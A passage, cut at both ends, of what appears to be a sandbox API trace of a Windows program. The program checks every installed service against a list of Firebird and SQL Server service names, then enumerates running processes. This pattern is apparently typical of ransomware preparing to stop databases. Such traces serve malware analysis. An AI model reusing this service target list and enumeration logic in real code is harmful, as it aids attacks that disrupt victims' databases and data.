(lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0240.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0240.548] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0240.548] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0240.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0240.548] lstrlenW (lpString="KeyIso") returned 6 [0240.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0240.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0240.548] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0240.548] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0240.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0240.548] lstrlenW (lpString="LanmanServer") returned 12 [0240.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0240.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0240.548] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0240.548] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0240.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0240.548] lstrlenW (lpString="LanmanWorkstation") returned 17 [0240.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.548] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0240.548] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0240.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0240.548] lstrlenW (lpString="lfsvc") returned 5 [0240.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0240.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0240.549] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0240.549] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0240.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0240.549] lstrlenW (lpString="lmhosts") returned 7 [0240.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0240.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0240.549] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0240.549] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0240.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0240.549] lstrlenW (lpString="LSM") returned 3 [0240.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0240.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0240.549] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0240.549] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0240.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0240.549] lstrlenW (lpString="MpsSvc") returned 6 [0240.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0240.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0240.549] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0240.549] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0240.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0240.549] lstrlenW (lpString="NcbService") returned 10 [0240.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0240.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0240.549] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0240.549] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0240.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0240.549] lstrlenW (lpString="netprofm") returned 8 [0240.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0240.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0240.550] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0240.550] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0240.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0240.550] lstrlenW (lpString="NgcSvc") returned 6 [0240.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0240.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0240.550] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0240.550] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0240.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0240.550] lstrlenW (lpString="NlaSvc") returned 6 [0240.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0240.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0240.550] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0240.550] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0240.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0240.550] lstrlenW (lpString="nsi") returned 3 [0240.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0240.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0240.550] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0240.550] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0240.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0240.550] lstrlenW (lpString="PcaSvc") returned 6 [0240.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0240.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0240.551] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0240.551] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0240.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0240.551] lstrlenW (lpString="PlugPlay") returned 8 [0240.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0240.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0240.551] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0240.551] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0240.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0240.551] lstrlenW (lpString="Power") returned 5 [0240.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0240.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0240.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0240.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0240.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0240.652] lstrlenW (lpString="ProfSvc") returned 7 [0240.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0240.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0240.666] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0240.666] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0240.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0240.672] lstrlenW (lpString="RpcEptMapper") returned 12 [0240.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0240.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0240.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0240.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0240.673] lstrlenW (lpString="RpcSs") returned 5 [0240.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0240.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0240.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0240.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0240.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0240.673] lstrlenW (lpString="SamSs") returned 5 [0240.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0240.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0240.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0240.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0240.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0240.673] lstrlenW (lpString="Schedule") returned 8 [0240.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0240.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0240.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0240.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0240.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0240.673] lstrlenW (lpString="SecurityHealthService") returned 21 [0240.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0240.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0240.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0240.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0240.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0240.673] lstrlenW (lpString="SENS") returned 4 [0240.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0240.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0240.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0240.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0240.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0240.673] lstrlenW (lpString="ShellHWDetection") returned 16 [0240.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0240.674] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0240.674] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0240.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0240.674] lstrlenW (lpString="Spooler") returned 7 [0240.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0240.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0240.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0240.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0240.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0240.674] lstrlenW (lpString="StateRepository") returned 15 [0240.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0240.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0240.674] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0240.674] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0240.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0240.674] lstrlenW (lpString="SysMain") returned 7 [0240.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0240.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0240.674] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0240.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0240.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0240.674] lstrlenW (lpString="SystemEventsBroker") returned 18 [0240.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0240.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0240.674] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0240.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0240.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0240.674] lstrlenW (lpString="Themes") returned 6 [0240.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0240.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0240.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0240.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0240.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0240.674] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0240.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0240.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0240.675] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0240.675] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0240.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0240.675] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0240.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0240.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0240.675] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0240.675] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0240.675] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4bc [0240.678] Process32FirstW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.678] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.679] lstrlenW (lpString="System") returned 6 [0240.679] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.679] lstrlenW (lpString="smss.exe") returned 8 [0240.679] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.679] lstrlenW (lpString="csrss.exe") returned 9 [0240.679] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.680] lstrlenW (lpString="wininit.exe") returned 11 [0240.680] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.680] lstrlenW (lpString="csrss.exe") returned 9 [0240.680] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.681] lstrlenW (lpString="winlogon.exe") returned 12 [0240.681] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.681] lstrlenW (lpString="services.exe") returned 12 [0240.681] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.682] lstrlenW (lpString="lsass.exe") returned 9 [0240.682] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0240.682] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0240.682] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0240.683] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0240.683] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.683] lstrlenW (lpString="svchost.exe") returned 11 [0240.683] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.683] lstrlenW (lpString="svchost.exe") returned 11 [0240.683] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.684] lstrlenW (lpString="dwm.exe") returned 7 [0240.684] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.684] lstrlenW (lpString="svchost.exe") returned 11 [0240.684] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.685] lstrlenW (lpString="svchost.exe") returned 11 [0240.685] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.685] lstrlenW (lpString="svchost.exe") returned 11 [0240.685] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.685] lstrlenW (lpString="svchost.exe") returned 11 [0240.685] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.686] lstrlenW (lpString="svchost.exe") returned 11 [0240.686] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.686] lstrlenW (lpString="svchost.exe") returned 11 [0240.686] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.687] lstrlenW (lpString="svchost.exe") returned 11 [0240.687] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.687] lstrlenW (lpString="svchost.exe") returned 11 [0240.687] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.687] lstrlenW (lpString="svchost.exe") returned 11 [0240.687] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.688] lstrlenW (lpString="svchost.exe") returned 11 [0240.688] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.688] lstrlenW (lpString="spoolsv.exe") returned 11 [0240.688] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.688] lstrlenW (lpString="svchost.exe") returned 11 [0240.689] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.689] lstrlenW (lpString="audiodg.exe") returned 11 [0240.689] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.689] lstrlenW (lpString="svchost.exe") returned 11 [0240.689] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0240.690] lstrlenW (lpString="sihost.exe") returned 10 [0240.690] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0240.690] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0240.690] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0240.691] lstrlenW (lpString="Memory Compression") returned 18 [0240.691] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0240.691] lstrlenW (lpString="taskhostw.exe") returned 13 [0240.691] Process32NextW (in: hSnapshot=0x4bc, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, 